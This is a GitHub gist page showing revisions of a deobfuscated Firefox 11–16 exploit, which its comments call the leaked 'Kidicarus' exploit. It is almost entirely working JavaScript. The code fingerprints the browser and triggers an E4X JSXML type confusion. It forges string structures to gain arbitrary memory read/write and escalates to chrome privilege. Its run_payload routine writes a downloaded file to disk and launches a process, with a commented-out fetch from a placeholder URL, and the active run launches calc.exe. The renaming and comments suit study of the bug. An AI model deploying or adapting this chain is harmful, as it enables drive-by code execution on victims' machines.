Skip to content

Instantly share code, notes, and snippets.

@afwu
Forked from mistymntncop/exploit.html
Created March 31, 2023 11:11
Show Gist options
  • Save afwu/e48ad32b6928d3da42007d65d48b32ca to your computer and use it in GitHub Desktop.
Save afwu/e48ad32b6928d3da42007d65d48b32ca to your computer and use it in GitHub Desktop.

Revisions

  1. @mistymntncop mistymntncop revised this gist Mar 31, 2023. 1 changed file with 9 additions and 2 deletions.
    11 changes: 9 additions & 2 deletions utility.js
    Original file line number Diff line number Diff line change
    @@ -550,6 +550,7 @@ Exploit.prototype.constants = function () {

    // Namespace and QName are obsolete E4X things

    //JSObject::getGeneric
    //GetXMLFunction
    //GetProperty
    //xml_child_helper
    @@ -573,12 +574,18 @@ function fake_jsstr(a, addr) {
    function weak_addr_of(a, obj) {
    var obj_addr = a.fake_jsxml.leak_obj_addr();
    var namespace = new Namespace("@mozilla.org/js/function");
    //first property fills in the inline slot
    var name1 = new QName(namespace, "aa5raHsuPNLHA1");
    a.child[name1] = 0x1337;//null;
    a.child[name1] = 0x1337; //null;
    //subsequent properties get stored in the external slots
    var name2 = new QName(namespace, "aa5raHsuPNLHA2");
    a.child[name2] = obj;
    //Create a fake JSString where the lengthAndFlags field overlaps with the
    //JSObject's shapeOrExpando_ field (gauranteed to be large as it is a pointer)
    //The fake JSString's chars slots_ field overlaps with the JSObject's slots_
    //field. This allows us to read the slots_ values via reading the fake string.
    var str = fake_jsstr(a, obj_addr + a.shape_offset);
    console.log("length : " + str.length);
    console.log("length : " + str.length + ", " + str.length.toString(16));
    return platform.x64 == false ?
    str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) :
    str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) + 0x100000000 * (str.charCodeAt(2) & 0x7FFF);
  2. @mistymntncop mistymntncop revised this gist Mar 31, 2023. 1 changed file with 8 additions and 8 deletions.
    16 changes: 8 additions & 8 deletions utility.js
    Original file line number Diff line number Diff line change
    @@ -566,7 +566,7 @@ function jsxml_type_confusion(a) {

    function fake_jsstr(a, addr) {
    a.fake_jsxml.set_str_addr(addr);
    return a.child.toString()
    return a.child.toString();
    }

    // Namespace and QName are obsolete E4X things
    @@ -664,13 +664,13 @@ var platform = new function () {
    // Download data and put it in platform.content
    /*(function () {
    var req = new XMLHttpRequest;
    replatform.onload = function () {
    platform.content = new Uint8Array(replatform.response);
    return replatform.response
    req.onload = function () {
    platform.content = new Uint8Array(req.response);
    return req.response
    };
    replatform.open("GET", "++REQUEST_URL++", true);
    replatform.responseType = "arraybuffer";
    replatform.send()
    req.open("GET", "++REQUEST_URL++", true);
    req.responseType = "arraybuffer";
    req.send()
    })();*/

    // I assume this is what triggers the vuln
    @@ -686,4 +686,4 @@ function pwn() {
    }

    pwn();
    //setTimeout(pwn, 2E3);
    //setTimeout(pwn, 2E3);
  3. @mistymntncop mistymntncop created this gist Mar 31, 2023.
    1 change: 1 addition & 0 deletions exploit.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    <script type="text/javascript" src="utility.js"></script>
    689 changes: 689 additions & 0 deletions utility.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,689 @@
    //https://bugzilla.mozilla.org/show_bug.cgi?id=1346951
    //Kidicarus exploit from Wikileaks
    //Effects Firefox versions 11 to 16.0.2
    //Variables renamed by @mistymntncop. Probably some mistakes.
    //Exploit author: unknown

    function do_throw(a) {
    console.log("THROWN");
    console.log((new Error()).stack);
    throw a;
    }
    var i = Array(1);

    function Uint64(hi, lo) {
    this.hi = hi;
    this.lo = lo;
    }
    Uint64.prototype.toString = function (a) {
    if (16 === a) {
    if (0 === this.hi) return this.lo.toString(16);
    for (a = this.lo.toString(16); 8 > a.length;) a = "0" + a;
    return this.hi.toString(16) + a
    }
    do_throw(null)
    };

    function Conversion() {
    var arr = new ArrayBuffer(8);
    this.u32_arr = new Uint32Array(arr);
    this.f32_arr = new Float64Array(arr);
    }

    function u32_u32_to_f64(conv, lo, hi) {
    conv.u32_arr[0] = lo;
    conv.u32_arr[1] = hi;
    var result = conv.f32_arr[0];
    return result;
    }

    function u64_to_f64(conv, val) {
    return u32_u32_to_f64(conv, val % 0x100000000, Math.floor(val / 0x100000000));
    };

    function Constants(template, versions) {
    var c;
    if (versions !== undefined) {
    for (var d in versions) {
    if (versions.hasOwnProperty(d) != false && -1 != d.split(/, */).indexOf(platform.platform)) {
    c = versions[d][platform.version];
    if (c !== undefined)
    break;
    }
    }
    if (c === undefined) {
    do_throw(null);
    }
    }
    for (var g in template) {
    if (template.hasOwnProperty(g) != false && (d = template[g], "function" === typeof d)) {
    this[g] = d()
    } else {
    if ("number" === typeof d) {
    if (c === undefined) {
    do_throw(null)
    }
    if (c[d] === undefined) {
    do_throw(null);
    }
    this[g] = c[d];
    } else {
    do_throw(null)
    }
    }
    }
    };

    function Wtf() {
    var params = this.constants();
    var element_size = params.element_size;
    var size = params.size;
    this.obj = {};
    this.obj.length = size / element_size;
    this.obj.__defineGetter__("0", function () {
    do_throw(0)
    });
    this.identity = function (a) {
    return a;
    }
    }
    Wtf.prototype.mystery = function () {
    try {
    Array.prototype.map.call(this.obj, this.identity);
    } catch (err) { }
    try {
    Array.prototype.map.call(this.obj, this.identity);
    } catch (err) { }
    };
    Wtf.prototype.constants = function () {
    return new Constants({
    element_size: 0,
    size: 1
    }, {
    "Win32, Linux i686, Linux x86_64, MacIntel": {
    "10.0": [8, 0x8000000],
    "10.0.1": [8, 0x8000000],
    "10.0.2": [8, 0x8000000],
    "10.0.3": [8, 0x8000000],
    "10.0.4": [8, 0x8000000],
    "11.0": [8, 0x8000000],
    "12.0": [8, 0x8000000],
    "13.0": [8, 0x8000000],
    "13.0.1": [8, 0x8000000],
    "14.0.1": [8, 0x8000000],
    "15.0": [8, 0x8000000],
    "15.0.1": [8, 0x8000000],
    "16.0": [8, 0x8000000],
    "16.0.1": [8, 0x8000000],
    "16.0.2": [8, 0x8000000]
    }
    })
    };

    function Memory(u32_arr1, u32_arr2) {
    this.u32_arr1 = u32_arr1;
    this.u32_arr2 = u32_arr2;
    var params = this.constants();
    this.size_offset = params.size_offset;
    this.addr_offset = params.addr_offset;
    this.u32_arr2[this.size_offset / 4] = 0x40000000;
    if (this.u32_arr1.length !== 0x40000000) {
    do_throw(null)
    }
    }

    Memory.prototype.constants = function () {
    return new Constants({
    size_offset: 0,
    addr_offset: 1
    }, {
    "Win32, Linux i686": {
    "10.0": [40, 24],
    "10.0.1": [40, 24],
    "10.0.2": [40, 24],
    "10.0.3": [40, 24],
    "10.0.4": [40, 24],
    "11.0": [16, 72],
    "12.0": [16, 72],
    "13.0": [16, 72],
    "13.0.1": [16, 72],
    "14.0.1": [16, 72],
    "15.0": [16, 72],
    "15.0.1": [16, 72],
    "16.0": [16, 72],
    "16.0.1": [16, 72],
    "16.0.2": [16, 72]
    },
    "Linux x86_64, MacIntel": {
    "11.0": [32, 88],
    "12.0": [32, 88],
    "13.0": [32, 88],
    "13.0.1": [32, 88],
    "14.0.1": [32, 88],
    "15.0": [32, 88],
    "15.0.1": [32, 88],
    "16.0": [32, 88],
    "16.0.1": [32, 88],
    "16.0.2": [32, 88]
    }
    })
    };
    Memory.prototype.read_u32 = function (addr) {
    set_u32_arr1_addr(this, addr);
    return this.u32_arr1[0];
    };

    function set_u32_arr1_addr(mem, addr) {
    if (platform.x64 == false) {
    mem.u32_arr2[mem.addr_offset / 4] = addr;
    } else {
    mem.u32_arr2[mem.addr_offset / 4] = addr % 0x100000000;
    mem.u32_arr2[mem.addr_offset / 4 + 1] = Math.floor(addr / 0x100000000);
    }
    }


    function read(mem, addr) {
    set_u32_arr1_addr(mem, addr);
    return platform.x64 == false ?
    mem.u32_arr1[0] :
    mem.u32_arr1[0] + 0x100000000 * mem.u32_arr1[1];
    }

    function write(mem, addr, val) {
    set_u32_arr1_addr(mem, addr);
    if (platform.x64 == false) {
    mem.u32_arr1[0] = val;
    } else {
    mem.u32_arr1[0] = val % 0x100000000;
    mem.u32_arr1[1] = Math.floor(val / 0x100000000);
    }
    }

    function ObjTools(mem, arr, slot_index, slots_addr) {
    this.memory = mem;
    this.arr = arr;
    this.slot_index = slot_index;
    this.slots_addr = slots_addr;
    }
    ObjTools.prototype.addr_of = function (obj) {
    this.arr[this.slot_index] = obj;
    if (platform.x64 == false) {
    return this.memory.read_u32(this.slots_addr);
    }
    var mem = this.memory;
    set_u32_arr1_addr(mem, this.slots_addr);
    var u64 = new Uint64(mem.u32_arr1[1], mem.u32_arr1[0]);
    return 0x100000000 * (u64.hi & 0x7FFF) + u64.lo;
    };

    function PrimitiveObjects(a) {
    this.n = a;
    var params = this.constants();
    this.k = params.k;
    this.slot_size = params.slot_size;
    this.I = params.I;
    this.extensible_flag = params.extensible_flag;
    this.rope_flag = params.rope_flag;
    this.g = params.g;
    var arr = Array(14);
    for (var i = 0; i < 14; i++) {
    arr[i] = null;
    }
    this.arr = arr;
    this.slots_addr = null;
    this.u32_arr1 = new Uint32Array(1024);
    this.u32_arr2 = new Uint32Array(1024);
    this.c = new Conversion();
    }
    PrimitiveObjects.prototype.constants = function () {
    return new Constants({
    k: 0,
    slot_size: 1,
    I: 2,
    extensible_flag: 3, //extensible_flag
    rope_flag: 4, //rope_flag
    g: 5
    }, {
    "Win32, Linux i686": {
    "10.0": [40, 8, 0, 12, 1, 24],
    "11.0": [16, 8, 16, 12, 1, 72],
    "12.0": [16, 8, 16, 12, 1, 72],
    "13.0": [16, 8, 16, 12, 1, 72],
    "13.0.1": [16, 8, 16, 12, 1, 72],
    "14.0.1": [16, 8, 16, 4, 1, 72],
    "15.0": [16, 8, 16, 4, 1, 72],
    "15.0.1": [16, 8, 16, 4, 1, 72],
    "16.0": [16, 8, 16, 4, 1, 72],
    "16.0.1": [16, 8, 16, 4, 1, 72],
    "16.0.2": [16, 8, 16, 4, 1, 72]
    },
    "Linux x86_64, MacIntel": {
    "11.0": [32, 8, 16, 12, 1, 88],
    "12.0": [32, 8, 16, 12, 1, 88],
    "13.0": [32, 8, 16, 12, 1, 88],
    "13.0.1": [32, 8, 16, 12, 1, 88],
    "14.0.1": [32, 8, 16, 4, 1, 88],
    "15.0": [32, 8, 16, 4, 1, 88],
    "15.0.1": [32, 8, 16, 4, 1, 88],
    "16.0": [32, 8, 16, 4, 1, 88],
    "16.0.1": [32, 8, 16, 4, 1, 88],
    "16.0.2": [32, 8, 16, 4, 1, 88]
    }
    })
    };

    //https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/vm/String.h#l170
    function corrupt(a, b, slot_addr, d) {
    //build fake JSString structures
    const LENGTH_SHIFT = 4;
    if (platform.x64 === false) {
    var g = 0;
    var m = d / 2;
    var slot0_addr = a.slots_addr + 0 * a.slot_size;
    a.arr[0] = u32_u32_to_f64(a.c, g << LENGTH_SHIFT | a.extensible_flag, b);
    a.arr[1] = u32_u32_to_f64(a.c, m, 0);
    d /= 2;
    var slot2_addr = a.slots_addr + 2 * a.slot_size;
    a.arr[2] = u32_u32_to_f64(a.c, d << LENGTH_SHIFT, slot_addr);
    a.arr[3] = u32_u32_to_f64(a.c, 0, 0);
    var c = g + d << LENGTH_SHIFT | a.rope_flag;
    g = slot2_addr;
    b = a.slots_addr + 4 * a.slot_size;
    a.arr[4] = u32_u32_to_f64(a.c, c, slot0_addr);
    a.arr[5] = u32_u32_to_f64(a.c, g, 0)
    } else {
    g = 0;
    m = d / 2;
    var slot0_addr = a.slots_addr + 0 * a.slot_size;
    a.arr[0] = u64_to_f64(a.c, g << LENGTH_SHIFT | a.extensible_flag);
    a.arr[1] = u64_to_f64(a.c, b);
    a.arr[2] = u64_to_f64(a.c, m);
    a.arr[3] = u64_to_f64(a.c, 0);
    d /= 2;
    b = a.slots_addr + 4 * a.slot_size;
    a.arr[4] = u64_to_f64(a.c, d << LENGTH_SHIFT);
    a.arr[5] = u64_to_f64(a.c, slot_addr);
    a.arr[6] = u64_to_f64(a.c, 0);
    a.arr[7] = u64_to_f64(a.c, 0);
    var c = g + d << LENGTH_SHIFT | a.rope_flag;
    g = b;
    b = a.slots_addr + 8 * a.slot_size;
    a.arr[8] = u64_to_f64(a.c, c);
    a.arr[9] = u64_to_f64(a.c, slot0_addr);
    a.arr[10] = u64_to_f64(a.c, g);
    a.arr[11] = u64_to_f64(a.c, 0);
    }
    var fake_str = fake_jsstr(a.n, b);
    //i[0] = "x".replace("a", fake_str) === null;
    "x".replace("a", fake_str);
    }

    function install_primitives(prims) {
    var arr_addr = weak_addr_of(prims.n, prims.arr);
    prims.slots_addr = arr_addr + prims.k + prims.I;
    var u32_arr1_addr = weak_addr_of(prims.n, prims.u32_arr1);
    var u32_arr2_addr = weak_addr_of(prims.n, prims.u32_arr2);
    if (platform.x64 === false) {
    prims.arr[12] = u32_u32_to_f64(prims.c, u32_arr1_addr, 0);
    corrupt(prims, u32_arr2_addr + prims.g, prims.slots_addr + 12 * prims.slot_size, 4);
    } else {
    prims.arr[12] = u64_to_f64(prims.c, u32_arr1_addr);
    corrupt(prims, u32_arr2_addr + prims.g, prims.slots_addr + 12 * prims.slot_size, 6);
    }
    var mem = new Memory(prims.u32_arr1, prims.u32_arr2);
    var obj_tools = new ObjTools(mem, prims.arr, 0, prims.slots_addr);
    prims.n.memory = mem;
    prims.n.obj_tools = obj_tools;
    }

    function PrivEsc(mem, obj_tools) {
    this.memory = mem;
    this.obj_tools = obj_tools;
    var params = this.constants();
    this.A = params.A;
    this.B = params.B;
    this.D = params.D;
    this.C = params.C;
    this.o = params.o;
    }
    PrivEsc.prototype.run_priv_func = function (func) {
    var obj_addr = this.obj_tools.addr_of({});

    var addr1 = 0x1000 * Math.floor(obj_addr / 0x1000) + this.A;
    var addr2 = read(this.memory, addr1) + this.B;
    var addr3 = read(this.memory, addr2) + this.D;
    var token = read(this.memory, addr3);

    var func_addr = this.obj_tools.addr_of(func);
    var func_what_addr = read(this.memory, func_addr + this.C);
    var func_target_addr = func_what_addr + this.o;
    var original_val = read(this.memory, func_target_addr);
    write(this.memory, func_target_addr, token);
    try {
    func();
    } finally {
    write(this.memory, func_target_addr, original_val);
    }
    };

    PrivEsc.prototype.constants = function () {
    return new Constants({
    A: 0,
    B: 1,
    D: 2,
    C: 3,
    o: 4
    }, {
    Win32: {
    "10.0": [0, 0, 145076, 60, 76],
    "11.0": [0, 0, 132368, 20, 72],
    "12.0": [0, 0, 214404, 20, 72],
    "13.0": [0, 0, 92668, 20, 72],
    "13.0.1": [0, 0, 92668, 20, 72],
    "14.0.1": [0, 0, 84668, 20, 28],
    "15.0": [0, 0, 92480, 20, 28],
    "15.0.1": [0, 0, 92480, 20, 28],
    "16.0": [0, 0, 92368, 20, 28],
    "16.0.1": [0, 0, 92368, 20, 28],
    "16.0.2": [0, 0, 92368, 20, 28]
    },
    "Linux i686": {
    "11.0": [0, 0, 132332, 20, 72],
    "12.0": [0, 0, 214460, 20, 72],
    "13.0": [0, 0, 92700, 20, 72],
    "13.0.1": [0, 0, 92700, 20, 72],
    "14.0.1": [0, 0, 84704, 20, 28],
    "15.0": [0, 0, 92528, 20, 28],
    "15.0.1": [0, 0, 92528, 20, 28],
    "16.0": [0, 0, 92416, 20, 28],
    "16.0.1": [0, 0, 92416, 20, 28],
    "16.0.2": [0, 0, 92416, 20, 28]
    },
    "Linux x86_64": {
    "11.0": [0, 0, 264144, 40, 104],
    "12.0": [0, 0, 428288, 40, 104],
    "13.0": [0, 0, 175496, 40, 104],
    "13.0.1": [0, 0, 175496, 40, 104],
    "14.0.1": [0, 0, 167376, 40, 48],
    "15.0": [0, 0, 177696, 40, 48],
    "15.0.1": [0, 0, 177696, 40, 48],
    "16.0": [0, 0, 177360, 40, 48],
    "16.0.1": [0, 0, 177360, 40, 48],
    "16.0.2": [0, 0, 177360, 40, 48]
    },
    MacIntel: {
    "11.0": [0, 0, 264144, 40, 104],
    "12.0": [0, 0, 428240, 40, 104],
    "13.0": [0, 0, 175448, 40, 104],
    "13.0.1": [0, 0, 175448, 40, 104],
    "14.0.1": [0, 0, 167328, 40, 48],
    "15.0": [0, 0, 177648, 40, 48],
    "15.0.1": [0, 0, 177648, 40, 48],
    "16.0": [0, 0, 177312, 40, 48],
    "16.0.1": [0, 0, 177312, 40, 48],
    "16.0.2": [0, 0, 177312, 40, 48]
    }
    })
    };

    // Requires chrome privilege to be able to function.
    //
    // saves the payload downloaded in platform.content, then launches a platform
    // dependent command. Both the command and the file path look like they
    // are intended to be replaced prior to deployment.
    function run_payload() {
    // First check the platform and store appropriate shell command
    // (++foo++ are replaced before deployment)
    console.log("run_payload");
    var cmdpath;
    if ("Win32" === platform.platform || "Win64" === platform.platform) {
    cmdpath = "++Win++";
    } else if (platform.platform.indexOf("Linux ") == 0) {
    cmdpath = "++Linux++";
    } else if ("MacIntel" == platform.platform) {
    cmdpath = "++MacIntel++";
    } else {
    do_throw(null);
    }
    try {
    // Store platform.content in a local file "++Path++"
    // Must be privileged code!
    window.netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
    var b = window.Components.classes["@mozilla.org/file/local;1"].createInstance(window.Components.interfaces.nsILocalFile);
    b.initWithPath("++Path++");
    b.exists() || b.create(0, 493); // 493 == 0755
    var c = window.Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(window.Components.interfaces.nsIFileOutputStream);
    c.init(b, 34, 4, null);
    var d = window.Components.classes["@mozilla.org/binaryoutputstream;1"].createInstance(window.Components.interfaces.nsIBinaryOutputStream);
    d.setOutputStream(c);
    d.writeByteArray(platform.content, platform.content.byteLength);
    d.close();
    c.close()
    } catch (g) {
    alert("Exception while attempting to save\n\n" + g)
    }
    try {
    // launch cmdpath. The 'b' here is different than the 'b' with the
    // local file above--how does the command know where to find the payload?
    var b = [],
    m = window.Components.classes["@mozilla.org/file/local;1"].createInstance(window.Components.interfaces.nsILocalFile);
    m.initWithPath(cmdpath);
    var n = window.Components.classes["@mozilla.org/process/util;1"].createInstance(window.Components.interfaces.nsIProcess);
    n.init(m);
    n.run(h, b, b.length)
    } catch (H) { }
    }

    function run_calc() {
    try {
    var exe_path = "C:\\\\Windows\\\\System32\\\\calc.exe";
    var args = [];

    var file = window.Components.classes["@mozilla.org/file/local;1"].createInstance(window.Components.interfaces.nsILocalFileWin);
    file.initWithPath(exe_path);
    var proc = window.Components.classes["@mozilla.org/process/util;1"].createInstance(window.Components.interfaces.nsIProcess);
    proc.init(file);
    proc.run(false, args, args.length);
    } catch(err) {
    console.log(err);
    }
    }

    //https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsxml.cpp
    //https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsxml.h

    function Exploit() {
    if(platform.S !== "Firefox") {
    do_throw(null);
    }
    var params = this.constants();
    this.jsxml_size = params.jsxml_size;
    this.obj_offset = params.obj_offset;
    this.class_offset = params.class_offset;
    this.G = params.G;
    this.str_offset = params.str_offset;
    this.k = params.k;
    this.shape_offset = params.shape_offset;
    this.d = params.d;
    this.JSXML_CLASS_TEXT = params.JSXML_CLASS_TEXT;
    this.wtf = new Wtf();
    }
    Exploit.prototype.constants = function () {
    return new Constants({
    jsxml_size: 0,
    obj_offset: 1, //JSXML.object
    class_offset: 2, //JSXML.xml_class
    G: 3,
    str_offset: 4, //JSXML.value
    k: 5,
    shape_offset: 6, //JSObject.shapeOrExpando_
    d: 7,
    JSXML_CLASS_TEXT: 8
    }, {
    "Win32, Linux i686": {
    "11.0": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "12.0": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "13.0": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "13.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "14.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "15.0": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "15.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "16.0": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "16.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4],
    "16.0.2": [104, 0, 16, 24, 96, 16, 4, 8, 4]
    },
    "Linux x86_64, MacIntel": {
    "11.0": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "12.0": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "13.0": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "13.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "14.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "15.0": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "15.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "16.0": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "16.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4],
    "16.0.2": [160, 0, 32, 40, 152, 32, 8, 8, 4]
    }
    })
    };

    // Namespace and QName are obsolete E4X things

    //GetXMLFunction
    //GetProperty
    //xml_child_helper
    //xml_child
    function jsxml_type_confusion(a) {
    String.prototype.rozG1zraWgFLF = a.fake_jsxml.u32_arr;
    var namespace = new Namespace("@mozilla.org/js/function");
    var name = new QName(namespace, "rozG1zraWgFLF");
    var xml_list = XMLList("<a/>");
    //a.wtf.mystery(); //wtf the exploit seems to work without this
    a.children = xml_list.child(name);
    a.child = a.children[0];
    }

    function fake_jsstr(a, addr) {
    a.fake_jsxml.set_str_addr(addr);
    return a.child.toString()
    }

    // Namespace and QName are obsolete E4X things
    function weak_addr_of(a, obj) {
    var obj_addr = a.fake_jsxml.leak_obj_addr();
    var namespace = new Namespace("@mozilla.org/js/function");
    var name1 = new QName(namespace, "aa5raHsuPNLHA1");
    a.child[name1] = 0x1337;//null;
    var name2 = new QName(namespace, "aa5raHsuPNLHA2");
    a.child[name2] = obj;
    var str = fake_jsstr(a, obj_addr + a.shape_offset);
    console.log("length : " + str.length);
    return platform.x64 == false ?
    str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) :
    str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) + 0x100000000 * (str.charCodeAt(2) & 0x7FFF);
    }

    function exploit(a) {
    a.fake_jsxml = new function () {
    this.u32_arr = new Uint32Array(a.jsxml_size);
    if (platform.x64 === false) {
    this.u32_arr[a.obj_offset / 4] = 0;
    this.u32_arr[a.class_offset / 4] = a.JSXML_CLASS_TEXT;
    } else {
    this.u32_arr[a.obj_offset / 4] = 0;
    this.u32_arr[a.obj_offset / 4 + 1] = 0;
    this.u32_arr[a.class_offset / 4] = a.JSXML_CLASS_TEXT;
    this.u32_arr[a.class_offset / 4 + 1] = 0;
    }
    this.leak_obj_addr = function () {
    return platform.x64 === false ?
    this.u32_arr[a.obj_offset / 4] :
    this.u32_arr[a.obj_offset / 4] + this.u32_arr[a.obj_offset / 4 + 1] * 0x100000000;
    };
    this.set_str_addr = function (val) {
    if (platform.x64 === false) {
    this.u32_arr[a.str_offset / 4] = val;
    } else {
    this.u32_arr[a.str_offset / 4] = val % 0x100000000;
    this.u32_arr[a.str_offset / 4 + 1] = val / 0x100000000;
    }
    }
    };
    jsxml_type_confusion(a);
    install_primitives(new PrimitiveObjects(a));

    //cleanup
    var b = a.k + 1 * a.d;
    write(a.memory, read(a.memory, a.obj_tools.addr_of(a.children) + b) + a.G, 0);
    write(a.memory, a.obj_tools.addr_of(a.child) + b, 0);
    a.children = null;
    a.child = null;
    }
    //fingerprinting
    var platform = new function () {
    var is_firefox;
    // bail out if not Firefox
    if ("undefined" === typeof window || "undefined" === typeof window.navigator) {
    is_firefox = false;
    } else {
    var navigator = window.navigator;
    is_firefox = !("Netscape" !== navigator.appName ||
    "Mozilla" !== navigator.appCodeName ||
    "Gecko" !== navigator.product ||
    -1 === navigator.userAgent.indexOf("Firefox"));
    }
    if(!is_firefox) {
    do_throw(null);
    }
    this.S = "Firefox";
    // extract the version from the userAgent
    this.userAgent = window.navigator.userAgent;
    var found = /Firefox\/((\d+)\.\d+(\.\d+)?)/.exec(this.userAgent);
    if (found === null) {
    do_throw(null);
    }
    this.version = found[1];
    // is it 32 or 64 bits?
    this.platform = window.navigator.platform;

    if ("Win32" === this.platform || "Linux i686" === this.platform) {
    this.x64 = false;
    } else if ("Win64" === this.platform || "Linux x86_64" === this.platform) {
    this.x64 = true;
    } else if ("MacIntel" === this.platform) {
    this.x64 = true;
    } else {
    do_throw(null);
    }
    if (this.userAgent.indexOf("; WOW64;") != -1 && this.x64) {
    do_throw(null);
    }
    };

    // Download data and put it in platform.content
    /*(function () {
    var req = new XMLHttpRequest;
    replatform.onload = function () {
    platform.content = new Uint8Array(replatform.response);
    return replatform.response
    };
    replatform.open("GET", "++REQUEST_URL++", true);
    replatform.responseType = "arraybuffer";
    replatform.send()
    })();*/

    // I assume this is what triggers the vuln

    function pwn() {
    try {
    var a = new Exploit();
    exploit(a);
    var priv_esc = new PrivEsc(a.memory, a.obj_tools);
    //priv_esc.run_priv_func(run_payload);
    priv_esc.run_priv_func(run_calc);
    } catch (b) { }
    }

    pwn();
    //setTimeout(pwn, 2E3);